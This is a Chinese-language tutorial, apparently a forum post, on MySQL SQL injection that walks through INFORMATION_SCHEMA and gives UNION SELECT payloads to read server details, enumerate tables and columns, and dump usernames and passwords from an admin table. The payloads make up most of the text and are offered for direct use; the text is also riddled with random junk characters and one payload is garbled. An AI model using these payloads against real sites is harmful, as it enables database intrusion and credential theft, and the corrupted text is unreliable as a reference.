本文介绍MYSQL盲注的一些语句和方法3 f9 d/ Q; j2 Q% R
- [ r n6 |. o/ J! k# T/ y, e学习盲注前先了解下 IFORMATION_SCHEMA 库) e2 C. |( f5 ]1 P' O3 z% n
6 d% p* K6 C5 J/ _$ s
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有( f! I% e; j4 c5 N9 T
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
+ R) C2 `7 u% o6 L$ [* P9 I3 w, N1.得到所有数据库名:: O6 m- f" T$ X' k
|SCHEMATA ->存储数据库名的表
/ L+ u+ m, i7 U$ i& @: p|---字段:SCHEMA_NAME ->数据库名称
# }! y% m8 Q! E0 T. b# L
2 b( y; f" {$ d5 i: L|TABLES ->存储表名3 ?# i% e, d5 j9 w K1 j+ P3 D
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名( ?( ]- V. I& ?* p9 v
|---字段:TABLE_NAME ->存储表的表名
' ]3 ~. D/ b" e, f& L, g& x J( |0 M6 r7 _. g: E
|COLUMNS ->存储的字段名表
$ f" k+ t+ e1 g, V* G% S* u" o|---字段:TABLE_SCHEMA ->该字段所属数据库名
" k9 u/ |! `2 @- N8 F) B|---字段:TABLE_NAME ->存储所属表的名称. X) [; R5 K. g
& b- x v# v5 f9 i|---字段:COLUMN_NAME ->该字段的名称
! g8 U3 l! c Z
5 M9 ]4 J9 `0 W+ r) G
% J+ n; b* b; P- o2 q9 q3 a9 P5 n) W+ e9 t2 _- `
###########################################################################, D6 Y) C4 |* Y, R4 B
# i: y/ G2 V( n7 L2 k9 _
0x001 获取系统信息:, u! X: k% [% ^1 y) ^1 L
% U7 i/ \& H) I0 _) k3 Y
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
) q- P1 h2 z! ^0 m& W. q# |) d( i) n( Z' e C
/*
4 t z3 g3 H% ^" C: l t3 C0 T2 G5 c" O. |
@@global.version_compile_os 获取系统版本+ b# V5 U2 Y. W/ c+ S, } s0 `! `
3 X/ u% G2 S' K8 U2 B@@datadir 数据库路径/ {1 B9 N7 f, x, {! c x
database() 当前数据库名称
% J; t8 K7 B: x& I0 K8 l0x3c62723e 换行HEX值# H0 ? p7 M! E0 ~0 J% i3 z" ~
, P3 L* y9 x4 z6 I6 V. t5 ~*/
s# M# |- w+ E1 E9 s+ b: A: F+ ?4 I1 S7 Y8 X3 }
! o3 ^% A1 A; [- k4 {% {& e: D F
4 }" C. Q8 t# ]1 s* b3 K3 P0 m######################################################################
2 T; N$ l* G, {4 A; Q1 H q6 ~: v6 l% k/ S# K0 d6 d
0x002 获取表名0 N4 j, ^/ q: M( r
G/ D+ e, E! ]# Nunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
' l9 ^ C9 h, c" _
0 K; ~9 F' @' p) l; J# H S { 5 j. J/ R/ ]) q( `
$ M: Z6 {4 L6 t7 r' X
/*
. i) [/ |2 Z5 F: t5 I d# ^/ }7 o- P5 k) S
0x67617264656e 为当前数据库名
* @8 g# K) n6 O' b9 z9 s$ C; X: Z' Z
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
6 [' X4 }- ~/ h% D5 J9 w" I7 V4 q% u, \; m6 x, L E* R
*/: t9 [; f9 D6 w, f2 o- h/ B$ @
7 q. M+ p' T; w+ `( _
######################################################################
. Q- c: X$ z& ?' p# p( X0 H
- o, v2 Q! a1 s$ C. w' G) V0 D % P) p o5 S* y3 e5 X' x& G# {
1 s& b( a7 _) g
0x003 获取字段 p9 U) r) a* k! b! _
$ B5 R% f: M0 n; }9 P. u
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*+ l6 J2 b3 v0 E6 ? B. x
& Q0 t: _6 u* @0 p/*
0 g/ o' J! L/ S6 V. {6 Q* w& Q8 ?8 @2 G5 \4 _: T1 q) P: F& r
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
( N# N0 U$ d1 {+ U& w9 q/ g% \$ e5 `
0x61646d696e ->选择一个表
3 y" w, S+ s& T0 E; z' T: H: F) Q. w
0x67617264656e ->数据库名3 y. i! }0 {/ U/ |. e
0 U }9 [7 Y: W1 x. o
*/
2 s# r; }, ^) x( i( @# U1 i* \
- A5 p) j, C9 x( j#####################################################################
4 `. E; `% h: p; @: J
7 R6 O3 d0 x: s+ I4 d * U- J% d4 W$ F& i3 D4 g6 V9 u
" j2 r7 ]) v: I' N6 i2 }' b$ t# T0x004 获取数据
( @6 i8 D9 l( u2 o: K# q
$ N/ v) o7 }4 Kunion select 1,2,3( [ S+ r/ f; ^8 r+ S+ V- l
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
2 z8 q4 l9 |" i I2 @$ e
% E, X/ [7 Q4 y8 B" G, G# p k, Wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- v. {. d7 ~6 n! x3 D) M# Y9 Y+ ^" R3 [
* \. Z: y, Y3 ^1 ?
3 w. b: V: ^9 q* k/*7 Q+ B5 C7 t% V2 v3 T) Z
3 v Q& s0 O4 p- l0x3c62723e 换行符号HEX编码
* h/ x2 ` F. I( E5 q
0 v, [! b! m" r* p" ^group_concat 同时获得该字段所有数据
0 [( p: [* C$ x/ h" S' d1 {# S; `) y
& f" P; {2 ?7 G6 U$ i*/
# h- h) s. h5 a
4 p- O+ n6 ^: R. W8 ^ |